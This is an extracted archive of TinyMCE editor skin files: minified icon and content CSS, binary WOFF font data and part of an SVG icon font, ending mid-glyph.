button{position:relative;z-index:1}.mce-browsebutton input{opacity:0;filter:alpha(opacity=0);zoom:1;position:absolute;top:0;left:0;width:100%;height:100%;z-index:0}@font-face{font-family:'tinymce';src:url('fonts/tinymce.eot');src:url('fonts/tinymce.eot?#iefix') format('embedded-opentype'),url('fonts/tinymce.woff') format('woff'),url('fonts/tinymce.ttf') format('truetype'),url('fonts/tinymce.svg#tinymce') format('svg');font-weight:normal;font-style:normal}@font-face{font-family:'tinymce-small';src:url('fonts/tinymce-small.eot');src:url('fonts/tinymce-small.eot?#iefix') format('embedded-opentype'),url('fonts/tinymce-small.woff') format('woff'),url('fonts/tinymce-small.ttf') format('truetype'),url('fonts/tinymce-small.svg#tinymce') format('svg');font-weight:normal;font-style:normal}.mce-ico{font-family:'tinymce',Arial;font-style:normal;font-weight:normal;font-variant:normal;font-size:16px;line-height:16px;speak:none;vertical-align:text-top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;display:inline-block;background:transparent center center;background-size:cover;width:16px;height:16px;color:#595959}.mce-btn-small .mce-ico{font-family:'tinymce-small',Arial}.mce-i-save:before{content:"\e000"}.mce-i-newdocument:before{content:"\e001"}.mce-i-fullpage:before{content:"\e002"}.mce-i-alignleft:before{content:"\e003"}.mce-i-aligncenter:before{content:"\e004"}.mce-i-alignright:before{content:"\e005"}.mce-i-alignjustify:before{content:"\e006"}.mce-i-alignnone:before{content:"\e003"}.mce-i-cut:before{content:"\e007"}.mce-i-paste:before{content:"\e008"}.mce-i-searchreplace:before{content:"\e009"}.mce-i-bullist:before{content:"\e00a"}.mce-i-numlist:before{content:"\e00b"}.mce-i-indent:before{content:"\e00c"}.mce-i-outdent:before{content:"\e00d"}.mce-i-blockquote:before{content:"\e00e"}.mce-i-undo:before{content:"\e00f"}.mce-i-redo:before{content:"\e010"}.mce-i-link:before{content:"\e011"}.mce-i-unlink:before{content:"\e012"}.mce-i-anchor:before{content:"\e013"}.mce-i-image:before{content:"\e014"}.mce-i-media:before{content:"\e015"}.mce-i-help:before{content:"\e016"}.mce-i-code:before{content:"\e017"}.mce-i-insertdatetime:before{content:"\e018"}.mce-i-preview:before{content:"\e019"}.mce-i-forecolor:before{content:"\e01a"}.mce-i-backcolor:before{content:"\e01a"}.mce-i-table:before{content:"\e01b"}.mce-i-hr:before{content:"\e01c"}.mce-i-removeformat:before{content:"\e01d"}.mce-i-subscript:before{content:"\e01e"}.mce-i-superscript:before{content:"\e01f"}.mce-i-charmap:before{content:"\e020"}.mce-i-emoticons:before{content:"\e021"}.mce-i-print:before{content:"\e022"}.mce-i-fullscreen:before{content:"\e023"}.mce-i-spellchecker:before{content:"\e024"}.mce-i-nonbreaking:before{content:"\e025"}.mce-i-template:before{content:"\e026"}.mce-i-pagebreak:before{content:"\e027"}.mce-i-restoredraft:before{content:"\e028"}.mce-i-bold:before{content:"\e02a"}.mce-i-italic:before{content:"\e02b"}.mce-i-underline:before{content:"\e02c"}.mce-i-strikethrough:before{content:"\e02d"}.mce-i-visualchars:before{content:"\e02e"}.mce-i-visualblocks:before{content:"\e02e"}.mce-i-ltr:before{content:"\e02f"}.mce-i-rtl:before{content:"\e030"}.mce-i-copy:before{content:"\e031"}.mce-i-resize:before{content:"\e032"}.mce-i-browse:before{content:"\e034"}.mce-i-pastetext:before{content:"\e035"}.mce-i-rotateleft:before{content:"\eaa8"}.mce-i-rotateright:before{content:"\eaa9"}.mce-i-crop:before{content:"\ee78"}.mce-i-editimage:before{content:"\e915"}.mce-i-options:before{content:"\ec6a"}.mce-i-flipv:before{content:"\eaaa"}.mce-i-fliph:before{content:"\eaac"}.mce-i-zoomin:before{content:"\eb35"}.mce-i-zoomout:before{content:"\eb36"}.mce-i-sun:before{content:"\eccc"}.mce-i-moon:before{content:"\eccd"}.mce-i-arrowleft:before{content:"\edc0"}.mce-i-arrowright:before{content:"\e93c"}.mce-i-drop:before{content:"\e935"}.mce-i-contrast:before{content:"\ecd4"}.mce-i-sharpen:before{content:"\eba7"}.mce-i-resize2:before{content:"\edf9"}.mce-i-orientation:before{content:"\e601"}.mce-i-invert:before{content:"\e602"}.mce-i-gamma:before{content:"\e600"}.mce-i-remove:before{content:"\ed6a"}.mce-i-tablerowprops:before{content:"\e604"}.mce-i-tablecellprops:before{content:"\e605"}.mce-i-table2:before{content:"\e606"}.mce-i-tablemergecells:before{content:"\e607"}.mce-i-tableinsertcolbefore:before{content:"\e608"}.mce-i-tableinsertcolafter:before{content:"\e609"}.mce-i-tableinsertrowbefore:before{content:"\e60a"}.mce-i-tableinsertrowafter:before{content:"\e60b"}.mce-i-tablesplitcells:before{content:"\e60d"}.mce-i-tabledelete:before{content:"\e60e"}.mce-i-tableleftheader:before{content:"\e62a"}.mce-i-tabletopheader:before{content:"\e62b"}.mce-i-tabledeleterow:before{content:"\e800"}.mce-i-tabledeletecol:before{content:"\e801"}.mce-i-codesample:before{content:"\e603"}.mce-i-fill:before{content:"\e902"}.mce-i-borderwidth:before{content:"\e903"}.mce-i-line:before{content:"\e904"}.mce-i-count:before{content:"\e905"}.mce-i-translate:before{content:"\e907"}.mce-i-drag:before{content:"\e908"}.mce-i-home:before{content:"\e90b"}.mce-i-upload:before{content:"\e914"}.mce-i-bubble:before{content:"\e91c"}.mce-i-user:before{content:"\e91d"}.mce-i-lock:before{content:"\e926"}.mce-i-unlock:before{content:"\e927"}.mce-i-settings:before{content:"\e928"}.mce-i-remove2:before{content:"\e92a"}.mce-i-menu:before{content:"\e92d"}.mce-i-warning:before{content:"\e930"}.mce-i-question:before{content:"\e931"}.mce-i-pluscircle:before{content:"\e932"}.mce-i-info:before{content:"\e933"}.mce-i-notice:before{content:"\e934"}.mce-i-arrowup:before{content:"\e93b"}.mce-i-arrowdown:before{content:"\e93d"}.mce-i-arrowup2:before{content:"\e93f"}.mce-i-arrowdown2:before{content:"\e940"}.mce-i-menu2:before{content:"\e941"}.mce-i-newtab:before{content:"\e961"}.mce-i-a11y:before{content:"\e900"}.mce-i-plus:before{content:"\e93a"}.mce-i-insert:before{content:"\e93a"}.mce-i-minus:before{content:"\e939"}.mce-i-books:before{content:"\e911"}.mce-i-reload:before{content:"\e906"}.mce-i-toc:before{content:"\e901"}.mce-i-checkmark:before{content:"\e033"}.mce-i-format-painter:before{content:"\e909"}.mce-i-checkbox:before,.mce-i-selected:before{content:"\e033"}.mce-i-insert{font-size:14px}.mce-i-selected{visibility:hidden}i.mce-i-backcolor{text-shadow:none;background:#BBB}.mce-rtl .mce-filepicker input{direction:ltr}
PK�^d[��content.inline.min.cssnu�[���.word-wrap{word-wrap:break-word;-ms-word-break:break-all;word-break:break-all;word-break:break-word;-ms-hyphens:auto;-moz-hyphens:auto;-webkit-hyphens:auto;hyphens:auto}.mce-content-body .mce-reset{margin:0;padding:0;border:0;outline:0;vertical-align:top;background:transparent;text-decoration:none;color:black;font-family:Arial;font-size:11px;text-shadow:none;float:none;position:static;width:auto;height:auto;white-space:nowrap;cursor:inherit;line-height:normal;font-weight:normal;text-align:left;-webkit-tap-highlight-color:transparent;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box;direction:ltr;max-width:none}.mce-object{border:1px dotted #3A3A3A;background:#D5D5D5 url(img/object.gif) no-repeat center}.mce-preview-object{display:inline-block;position:relative;margin:0 2px 0 2px;line-height:0;border:1px solid gray}.mce-preview-object[data-mce-selected="2"] .mce-shim{display:none}.mce-preview-object .mce-shim{position:absolute;top:0;left:0;width:100%;height:100%;background:url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)}figure.align-left{float:left}figure.align-right{float:right}figure.image.align-center{display:table;margin-left:auto;margin-right:auto}figure.image{display:inline-block;border:1px solid gray;margin:0 2px 0 1px;background:#f5f2f0}figure.image img{margin:8px 8px 0 8px}figure.image figcaption{margin:6px 8px 6px 8px;text-align:center}.mce-toc{border:1px solid gray}.mce-toc h2{margin:4px}.mce-toc li{list-style-type:none}.mce-pagebreak{cursor:default;display:block;border:0;width:100%;height:5px;border:1px dashed #666;margin-top:15px;page-break-before:always}@media print{.mce-pagebreak{border:0}}.mce-item-anchor{cursor:default;display:inline-block;-webkit-user-select:all;-webkit-user-modify:read-only;-moz-user-select:all;-moz-user-modify:read-only;user-select:all;user-modify:read-only;width:9px !important;height:9px !important;border:1px dotted #3A3A3A;background:#D5D5D5 url(img/anchor.gif) no-repeat center}.mce-nbsp,.mce-shy{background:#AAA}.mce-shy::after{content:'-'}.mce-match-marker{background:#AAA;color:#fff}.mce-match-marker-selected{background:#3399ff;color:#fff}.mce-spellchecker-word{border-bottom:2px solid rgba(208,2,27,0.5);cursor:default}.mce-spellchecker-grammar{border-bottom:2px solid #008000;cursor:default}.mce-item-table,.mce-item-table td,.mce-item-table th,.mce-item-table caption{border:1px dashed #BBB}td[data-mce-selected],th[data-mce-selected]{background-color:#2276d2 !important}.mce-edit-focus{outline:1px dotted #333}.mce-content-body *[contentEditable=false] *[contentEditable=true]:focus{outline:2px solid #2276d2}.mce-content-body *[contentEditable=false] *[contentEditable=true]:hover{outline:2px solid #2276d2}.mce-content-body *[contentEditable=false][data-mce-selected]{outline:2px solid #2276d2}.mce-content-body.mce-content-readonly *[contentEditable=true]:focus,.mce-content-body.mce-content-readonly *[contentEditable=true]:hover{outline:none}.mce-content-body *[data-mce-selected="inline-boundary"]{background:#bfe6ff}.mce-content-body .mce-item-anchor[data-mce-selected]{background:#D5D5D5 url(img/anchor.gif) no-repeat center}.mce-content-body hr{cursor:default}.mce-content-body table{-webkit-nbsp-mode:normal}.ephox-snooker-resizer-bar{background-color:#2276d2;opacity:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.ephox-snooker-resizer-cols{cursor:col-resize}.ephox-snooker-resizer-rows{cursor:row-resize}.ephox-snooker-resizer-bar.ephox-snooker-resizer-bar-dragging{opacity:.2}.mce-content-body{line-height:1.3}PK�^d[Y٫��$�$fonts/tinymce-small.woffnu�[���wOFF$�$XOS/2``$cmaphllƭ��gasp�glyf�	G�head �66g�{hhea!$$��hmtx!<����loca" tt�$�Zmaxp"�  I�name"���L܁post$�  ��������3	@����@�@ P �(�2�5����� ��*�4�������   5��797979@��7%'!"3!2653#5!81!813#4&#!"#33!26=��!//!�!/��@@�����@&��&@@&@&�PP�/!� !//!������&&���&&������.'.#!"3!2654&'#5!8181!!81S�A�`&&�&.
�
����͆&�&& A-
�
��������095'.'7'./#'737>77'>?%#'573�hq�+�+�qh��hq�+�+�qh���������p�+�qh��hq�+�+�qh��hq�+������@@�!!!!!!!!@������@��@�����@���@@�!!!!!!!!@������������@���@@�!!!!!!!!@������@@��@�����@���@@�!!!!!!!!@���������������@����)w`*@Mc.'70>&'	1&67>'776&'#"&'&67>327"&54632##"&'.'&67>32`"V)?�$0����0$�?)V"9
//�8# ?? #8�//
9�))	�%%%%3)	)"# ?�,H\0��@0\H,�? #8�//
9"V)??)V"9
//�8Y$C
�%%%%�$
C@��',0754&+54&+"#";!7#81381#55!!537#!!�
�&�&�

������������ee����@�
@&&@
�
���@@�@@��ee����@��*9HW#35!3!35!3#";2653;2654&##"&546;2##"&546;2##"&546;2#x8@��@�@��@8**�*�*�**����@

@

<��@@@�@@�*�P**8��**�*�



�



��



�@�@%2!!!!!!32654&#"32654&#"32654&#"�@��@��@���%%%%%%%%%%%%@������%%%%��%%%%��%%%%���%!!!!!!5##3#33#3#3#5�@��@��@��@@�@@��������@�����n�@@�@2<�@@@@@2@@�!!!!!!!!@���@@��@������������@�����@@�!!!!!!!!@���@��@�����������@�����@��?2#".5'4>3">3!2#".5'4>3">3(F44F('F4<h�O7d&
(F44F('F4<h�O7d&
 7J*+J7  7J+T�o@t,*	 7J*+J7  7J+T�o@t,*	p��%>.	6�$"����P��?OlK��S�PP�y�x@��5	5&.>@P����"$lO?̰������S��Kx��y@��0m'.#"7'&4?>32#"&/326?64'#"&/.546?>327'.#"326?>54&/"&'&4762#��))�!!D���D))�!!��D���D))��))��@ ��څ�!]!D
��
�D�!]!��D���D�))��))m @ ��@��0m�����'.#"7'&4?>32#"&/326?64'#"&/.546?>327'.#"326?>54&/"&/&4762#"&=4632##"&546;2#2"/&47>372#"&=46332+"&5463��))�!!D���D))�!!��D���D))��))��� ��



@�

�

�@� ��



���

�

څ�!]!D
��
�D�!]!��D���D�))��))�� � z
�

�
@



�� � z
�

�
��



�	!'!�����������+����k@@�@$1!"3!2654&#818181!8132654&#"��&&&&����8((88((8@&��&&�&�@@� � ����(88((88(	@@�@$).36!"3!2654&##53#53#53!!3#53#53#53!%��&&&&�������������������� @&��&&�&�@�������������������@��:3#52#575!5!'"32>7>54.'.#���%�\�����-VQI  0""0  IQV--VQI  0""0  IQV-���%��@�@��"0  IQV--VQI  0""0  IQV--VQI  0"`���'7'	���@�@@��@��@��@��@N�f
)>S>7'%7.'"&/54632#"32>54.#".54>32#NQ&rE+NE;TEr&Q;EN+B�

n		`P�i<<i�PP�i<<i�P<iN--Ni<<iN--Ni<�3=[[+6B&�[[=3&B6+��I�

�7		<i�PP�i<<i�PP�i<�`-Ni<<iN--Ni<<iN-@��3@e>7>325.'.#"%"32>7.##"&54632#"&'.'>7>732654&'@"M*D�MM�D*M"4'TVY--YVT'4�E�sb&&bs�EE�sb&&bs�E%%%%�3l99l3'FF'

pPPp

'FF'�&?())(?&v%##%v�$C_::_C$$C_::_C$�%%%%�=%%='PppP'=%%=��.+"8137337>101#�;@<�q:�:q��''��> @� ��䤈�
@@�	"',1!!5!!!5!!5!!#533#5!3#5=3#3#553#@���@����������@��������@���@��@��@������������@��������@��!!@����@@��
7!!5###5!''7'77@��ݷ���@���>��>��>��>���@����@��>��>��>��>����%3#575#53#'#	373�����܈���������22@�<2@�R���������3#575#53#'#	373�����܈����������2@�<2@�n������@��4%5>54.#"#'!5.54>32!5#�9^D%Fz�]]�zF%D^9�@@&?-/Qm>>mQ/-?&@@��%GZj9P�i<<i�P9jZG%`��;KX0BuW22WuB0XK;��`@��.;HY2#"&'.5467>35"32>54.#132654&#"!32654&#""&'32>7#K�558855�KK�558855�K]�zFFz�]]�zFFz�]�%%%%%%%%@L�,	-CS//SC-	,�L4855�KK�558855�KK�558LFz�]]�zFFz�]]�zF��%%%%%%%%��3+,K88K,+3@@�@+!!5!";!532654&#!!#"&54632���&&��&&�����@���&�&��&&���@��
'7!7!7!!'!'!'7�������������`�����`��@��������`�����`��������@��"'9>C5#"'35#334&+"35353#54&#26=4&+32653#53#5��&�юR������@@&�&@����&��&�����@@&��	���F���@@���&&�������`&&`&�@&@�����@@��#53533##5!3!53�������������������@��@��@��#).39=A3#3#3#7#3!3#3#3#35353##!!!!35353#'3#����@���@��@��@�����@@��@@�����@��@@@�����@@��@@@�@@�@�@��@��@������@��@�@@@@��!%!3!3!#!#3#73#73#73#73#0��  ��� � ���������������������@��@����@@@@@@@@@���&,2#5267>54&'.#"33>3!3@]�zFFz�]G�225522�GG�2&2	���Nv�U����Fz�]]�zF`522�GG�22552&_4�Q�g;���@�@@ ->54.+!2>54&''46;2+5#"&=32#q$+#=R.� .R=#P?�C -- s�s� -- �S/+L8!�!8L+Bi�8((8��0�8((8�@@@#3!53#5!@����@���@@��@@�@�@@!7!!5#"&'.5#32>5#�@���=""=�-Ni<<iN-��@@���--���5]F((F]5�@@�@>!.#"&546323.'.#"!!#"&'#3267>54&'35���%^3CbbC8Yq+#&a55a&)--)��+9bC8Yq+#&a55a&)-��A-,A/#&ET-.T@
6",A/#&ET-3@�@@@"333335!�.R=##=R.�@���@@#=R..R=#�������@@�@"333335!7'�.R=##=R.�@���@����@#=R..R=#����������`@�@"333335!@.R=##=R.�@���@���@#=R..R=#�����������@�
"#5'!!!'#5#5%!3!!5333@�����@�ee��ee����@@�@����@��@���[eeee���@�������@�#'+/37;3#3#3#3#'3#3#'3#3#3#3#3#'3#'3#'3#'3#@@�@@@@@@�@@@@�@@�@@@@@@@@�@@�@@�@@�@@�@@@@@@@�@@@@@@@@@@@@@@@@@@@@@@��6C!'!!3!!.54>32'>54&#"3267?6&'%"&54632#��` ��@�xX ��@d'B0+Jc88cJ+#�
pPPppP2o3��3II33II3@@�����3BQ,8cJ++Jc8 �o2PppPPp
�3VI33II33I@��&+0@54&+54&+"#";!#81381#55!!!!373#35#5335�
�&�&�

�@�����������@���  @0�0@  @�
@&&@
�
�@@@�@@����@��@�@@�@��� `%KXk546;5#"+32;5#"&=4&'>5!54&+532;#"+5326=467.5'#"&54632"0>54&#�. Kk.  .kK .p. Kk.  .kK .�=++==++=h+=.<5#ANA=+Bh .hkKh .h. hKkh. h&CC&h .hkKh .h. hKkh. h&CC&+==++==+�=+*;>%ZX+=�C�_<��0=��0=���������9@�@@@@�@@��@@@p@@@@@@`N@�@@@@@@@@@@@����@�@`@@@��
l�0Rt�0~�@x��"Bb B`��Nn�z��		6	`	�	�
P
�
�,P��B���
0
R
|
�
�:���9��
�
H
�'
o
�	
	�	U	�	2	|	
4�tinymce-smalltinymce-smallVersion 1.0Version 1.0tinymce-smalltinymce-smalltinymce-smalltinymce-smallRegularRegulartinymce-smalltinymce-smallFont generated by IcoMoon.Font generated by IcoMoon.PK�^d[*�X%�%�fonts/tinymce.svgnu�[���<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata>Generated by IcoMoon</metadata>
<defs>
<font id="tinymce" horiz-adv-x="1024">
<font-face units-per-em="1024" ascent="960" descent="-64" />
<missing-glyph horiz-adv-x="1024" />
<glyph unicode="&#x20;" horiz-adv-x="512" d="" />
<glyph unicode="&#xe000;" glyph-name="save" d="M896 960h-896v-1024h1024v896l-128 128zM512 832h128v-256h-128v256zM896 64h-768v768h64v-320h576v320h74.978l53.022-53.018v-714.982z" />
<glyph unicode="&#xe001;" glyph-name="newdocument" d="M903.432 760.57l-142.864 142.862c-31.112 31.112-92.568 56.568-136.568 56.568h-480c-44 0-80-36-80-80v-864c0-44 36-80 80-80h736c44 0 80 36 80 80v608c0 44-25.456 105.458-56.568 136.57zM858.178 715.314c3.13-3.13 6.25-6.974 9.28-11.314h-163.458v163.456c4.34-3.030 8.184-6.15 11.314-9.28l142.864-142.862zM896 16c0-8.672-7.328-16-16-16h-736c-8.672 0-16 7.328-16 16v864c0 8.672 7.328 16 16 16h480c4.832 0 10.254-0.61 16-1.704v-254.296h254.296c1.094-5.746 1.704-11.166 1.704-16v-608z" />
<glyph unicode="&#xe002;" glyph-name="fullpage" d="M1024 367.542v160.916l-159.144 15.914c-8.186 30.042-20.088 58.548-35.21 84.98l104.596 127.838-113.052 113.050-127.836-104.596c-26.434 15.124-54.942 27.026-84.982 35.208l-15.914 159.148h-160.916l-15.914-159.146c-30.042-8.186-58.548-20.086-84.98-35.208l-127.838 104.594-113.050-113.050 104.596-127.836c-15.124-26.432-27.026-54.94-35.21-84.98l-159.146-15.916v-160.916l159.146-15.914c8.186-30.042 20.086-58.548 35.21-84.982l-104.596-127.836 113.048-113.048 127.838 104.596c26.432-15.124 54.94-27.028 84.98-35.21l15.916-159.148h160.916l15.914 159.144c30.042 8.186 58.548 20.088 84.982 35.21l127.836-104.596 113.048 113.048-104.596 127.836c15.124 26.434 27.028 54.942 35.21 84.98l159.148 15.92zM704 384l-128-128h-128l-128 128v128l128 128h128l128-128v-128z" />
<glyph unicode="&#xe003;" glyph-name="alignleft" d="M0 896h1024v-128h-1024zM0 704h640v-128h-640zM0 320h640v-128h-640zM0 512h1024v-128h-1024zM0 128h1024v-128h-1024z" />
<glyph unicode="&#xe004;" glyph-name="aligncenter" d="M0 896h1024v-128h-1024zM192 704h640v-128h-640zM192 320h640v-128h-640zM0 512h1024v-128h-1024zM0 128h1024v-128h-1024z" />
<glyph unicode="&#xe005;" glyph-name="alignright" d="M0 896h1024v-128h-1024zM384 704h640v-128h-640zM384 320h640v-128h-640zM0 512h1024v-128h-1024zM0 128h1024v-128h-1024z" />
<glyph unicode="&#xe006;" glyph-name="alignjustify" d="M0 896h1024v-128h-1024zM0 704h1024v-128h-1024zM0 512h1024v-128h-1024zM0 320h1024v-128h-1024zM0 128h1024v-128h-1024z" />
<glyph unicode="&#xe007;" glyph-name="cut" d="M890.774 250.846c-45.654 45.556-103.728 69.072-157.946 69.072h-29.112l-63.904 64.008 255.62 256.038c63.904 64.010 63.904 192.028 0 256.038l-383.43-384.056-383.432 384.054c-63.904-64.008-63.904-192.028 0-256.038l255.622-256.034-63.906-64.008h-29.114c-54.22 0-112.292-23.518-157.948-69.076-81.622-81.442-92.65-202.484-24.63-270.35 29.97-29.902 70.288-44.494 112.996-44.494 54.216 0 112.29 23.514 157.946 69.072 53.584 53.464 76.742 124 67.084 185.348l65.384 65.488 65.376-65.488c-9.656-61.348 13.506-131.882 67.084-185.348 45.662-45.558 103.732-69.072 157.948-69.072 42.708 0 83.024 14.592 112.994 44.496 68.020 67.866 56.988 188.908-24.632 270.35zM353.024 114.462c-7.698-17.882-19.010-34.346-33.626-48.926-14.636-14.604-31.172-25.918-49.148-33.624-16.132-6.916-32.96-10.568-48.662-10.568-15.146 0-36.612 3.402-52.862 19.612-16.136 16.104-19.52 37.318-19.52 52.288 0 15.542 3.642 32.21 10.526 48.212 7.7 17.884 19.014 34.346 33.626 48.926 14.634 14.606 31.172 25.914 49.15 33.624 16.134 6.914 32.96 10.568 48.664 10.568 15.146 0 36.612-3.4 52.858-19.614 16.134-16.098 19.522-37.316 19.522-52.284 0.002-15.542-3.638-32.216-10.528-48.214zM512.004 293.404c-49.914 0-90.376 40.532-90.376 90.526 0 49.992 40.462 90.52 90.376 90.52s90.372-40.528 90.372-90.52c0-49.998-40.46-90.526-90.372-90.526zM855.272 40.958c-16.248-16.208-37.712-19.612-52.86-19.612-15.704 0-32.53 3.652-48.666 10.568-17.972 7.706-34.508 19.020-49.142 33.624-14.614 14.58-25.926 31.042-33.626 48.926-6.886 15.998-10.526 32.672-10.526 48.212 0 14.966 3.384 36.188 19.52 52.286 16.246 16.208 37.712 19.614 52.86 19.614 15.7 0 32.53-3.654 48.66-10.568 17.978-7.708 34.516-19.018 49.15-33.624 14.61-14.58 25.924-31.042 33.626-48.926 6.884-15.998 10.526-32.67 10.526-48.212-0.002-14.97-3.39-36.186-19.522-52.288z" />
<glyph unicode="&#xe008;" glyph-name="paste" d="M832 640v160c0 17.6-14.4 32-32 32h-224v64c0 35.2-28.8 64-64 64h-128c-35.204 0-64-28.8-64-64v-64h-224c-17.602 0-32-14.4-32-32v-640c0-17.6 14.398-32 32-32h288v-192h448l192 192v512h-192zM384 895.886c0.034 0.038 0.072 0.078 0.114 0.114h127.768c0.042-0.036 0.082-0.076 0.118-0.114v-63.886h-128v63.886zM192 704v64h512v-64h-512zM832 26.51v101.49h101.49l-101.49-101.49zM960 192h-192v-192h-320v576h512v-384z" />
<glyph unicode="&#xe009;" glyph-name="searchreplace" d="M64 960h384v-64h-384zM576 960h384v-64h-384zM952 640h-56v256h-256v-256h-256v256h-256v-256h-56c-39.6 0-72-32.4-72-72v-560c0-39.6 32.4-72 72-72h304c39.6 0 72 32.4 72 72v376h128v-376c0-39.6 32.4-72 72-72h304c39.6 0 72 32.4 72 72v560c0 39.6-32.4 72-72 72zM348 0h-248c-19.8 0-36 14.4-36 32s16.2 32 36 32h248c19.8 0 36-14.4 36-32s-16.2-32-36-32zM544 448h-64c-17.6 0-32 14.4-32 32s14.4 32 32 32h64c17.6 0 32-14.4 32-32s-14.4-32-32-32zM924 0h-248c-19.8 0-36 14.4-36 32s16.2 32 36 32h248c19.8 0 36-14.4 36-32s-16.2-32-36-32z" />
<glyph unicode="&#xe00a;" glyph-name="bullist" d="M384 896h640v-128h-640v128zM384 512h640v-128h-640v128zM384 128h640v-128h-640v128zM0 832c0 70.692 57.308 128 128 128s128-57.308 128-128c0-70.692-57.308-128-128-128s-128 57.308-128 128zM0 448c0 70.692 57.308 128 128 128s128-57.308 128-128c0-70.692-57.308-128-128-128s-128 57.308-128 128zM0 64c0 70.692 57.308 128 128 128s128-57.308 128-128c0-70.692-57.308-128-128-128s-128 57.308-128 128z" />
<glyph unicode="&#xe00b;" glyph-name="numlist" d="M384 128h640v-128h-640zM384 512h640v-128h-640zM384 896h640v-128h-640zM192 960v-256h-64v192h-64v64zM128 434v-50h128v-64h-192v146l128 60v50h-128v64h192v-146zM256 256v-320h-192v64h128v64h-128v64h128v64h-128v64z" />
<glyph unicode="&#xe00c;" glyph-name="indent" d="M0 896h1024v-128h-1024zM384 704h640v-128h-640zM384 512h640v-128h-640zM384 320h640v-128h-640zM0 128h1024v-128h-1024zM0 256v384l256-192z" />
<glyph unicode="&#xe00d;" glyph-name="outdent" d="M0 896h1024v-128h-1024zM384 704h640v-128h-640zM384 512h640v-128h-640zM384 320h640v-128h-640zM0 128h1024v-128h-1024zM256 640v-384l-256 192z" />
<glyph unicode="&#xe00e;" glyph-name="blockquote" d="M225 512c123.712 0 224-100.29 224-224 0-123.712-100.288-224-224-224s-224 100.288-224 224l-1 32c0 247.424 200.576 448 448 448v-128c-85.474 0-165.834-33.286-226.274-93.726-11.634-11.636-22.252-24.016-31.83-37.020 11.438 1.8 23.16 2.746 35.104 2.746zM801 512c123.71 0 224-100.29 224-224 0-123.712-100.29-224-224-224s-224 100.288-224 224l-1 32c0 247.424 200.576 448 448 448v-128c-85.474 0-165.834-33.286-226.274-93.726-11.636-11.636-22.254-24.016-31.832-37.020 11.44 1.8 23.16 2.746 35.106 2.746z" />
<glyph unicode="&#xe00f;" glyph-name="undo" d="M761.862-64c113.726 206.032 132.888 520.306-313.862 509.824v-253.824l-384 384 384 384v-248.372c534.962 13.942 594.57-472.214 313.862-775.628z" />
<glyph unicode="&#xe010;" glyph-name="redo" d="M576 711.628v248.372l384-384-384-384v253.824c-446.75 10.482-427.588-303.792-313.86-509.824-280.712 303.414-221.1 789.57 313.86 775.628z" />
<glyph unicode="&#xe011;" glyph-name="link" d="M320 256c17.6-17.6 47.274-16.726 65.942 1.942l316.118 316.116c18.668 18.668 19.54 48.342 1.94 65.942s-47.274 16.726-65.942-1.942l-316.116-316.116c-18.668-18.668-19.542-48.342-1.942-65.942zM476.888 284.888c4.56-9.050 6.99-19.16 6.99-29.696 0-17.616-6.744-34.060-18.992-46.308l-163.382-163.382c-12.248-12.248-28.694-18.992-46.308-18.992s-34.060 6.744-46.308 18.992l-99.382 99.382c-12.248 12.248-18.992 28.694-18.992 46.308s6.744 34.060 18.992 46.308l163.382 163.382c12.248 12.248 28.694 18.994 46.308 18.994 10.536 0 20.644-2.43 29.696-6.99l65.338 65.338c-27.87 21.41-61.44 32.16-95.034 32.16-39.986 0-79.972-15.166-110.308-45.502l-163.382-163.382c-60.67-60.67-60.67-159.948 0-220.618l99.382-99.382c30.334-30.332 70.32-45.5 110.306-45.5 39.988 0 79.974 15.168 110.308 45.502l163.382 163.382c55.82 55.82 60.238 144.298 13.344 205.344l-65.34-65.34zM978.498 815.116l-99.382 99.382c-30.334 30.336-70.32 45.502-110.308 45.502-39.986 0-79.972-15.166-110.308-45.502l-163.382-163.382c-55.82-55.82-60.238-144.298-13.342-205.342l65.338 65.34c-4.558 9.050-6.988 19.16-6.988 29.694 0 17.616 6.744 34.060 18.992 46.308l163.382 163.382c12.248 12.248 28.694 18.994 46.308 18.994s34.060-6.746 46.308-18.994l99.382-99.382c12.248-12.248 18.992-28.694 18.992-46.308s-6.744-34.060-18.992-46.308l-163.382-163.382c-12.248-12.248-28.694-18.992-46.308-18.992-10.536 0-20.644 2.43-29.696 6.99l-65.338-65.338c27.872-21.41 61.44-32.16 95.034-32.16 39.988 0 79.974 15.168 110.308 45.502l163.382 163.382c60.67 60.666 60.67 159.944 0 220.614z" />
<glyph unicode="&#xe012;" glyph-name="unlink" d="M476.888 284.886c4.56-9.048 6.99-19.158 6.99-29.696 0-17.616-6.744-34.058-18.992-46.308l-163.38-163.38c-12.248-12.248-28.696-18.992-46.308-18.992s-34.060 6.744-46.308 18.992l-99.38 99.38c-12.248 12.25-18.992 28.696-18.992 46.308s6.744 34.060 18.992 46.308l163.38 163.382c12.248 12.246 28.696 18.992 46.308 18.992 10.538 0 20.644-2.43 29.696-6.988l65.338 65.336c-27.87 21.41-61.44 32.16-95.034 32.16-39.986 0-79.972-15.166-110.308-45.502l-163.38-163.382c-60.67-60.67-60.67-159.95 0-220.618l99.38-99.382c30.334-30.332 70.32-45.5 110.306-45.5 39.988 0 79.974 15.168 110.308 45.502l163.38 163.38c55.82 55.82 60.238 144.298 13.344 205.346l-65.34-65.338zM978.496 815.116l-99.38 99.382c-30.334 30.336-70.32 45.502-110.308 45.502-39.986 0-79.97-15.166-110.306-45.502l-163.382-163.382c-55.82-55.82-60.238-144.298-13.342-205.342l65.338 65.34c-4.558 9.050-6.988 19.16-6.988 29.694 0 17.616 6.744 34.060 18.992 46.308l163.382 163.382c12.246 12.248 28.694 18.994 46.306 18.994 17.616 0 34.060-6.746 46.308-18.994l99.38-99.382c12.248-12.248 18.992-28.694 18.992-46.308s-6.744-34.060-18.992-46.308l-163.38-163.382c-12.248-12.248-28.694-18.992-46.308-18.992-10.536 0-20.644 2.43-29.696 6.99l-65.338-65.338c27.872-21.41 61.44-32.16 95.034-32.16 39.988 0 79.974 15.168 110.308 45.504l163.38 163.38c60.672 60.666 60.672 159.944 0 220.614zM233.368 681.376l-191.994 191.994 45.256 45.256 191.994-191.994zM384 960h64v-192h-64zM0 576h192v-64h-192zM790.632 214.624l191.996-191.996-45.256-45.256-191.996 191.996zM576 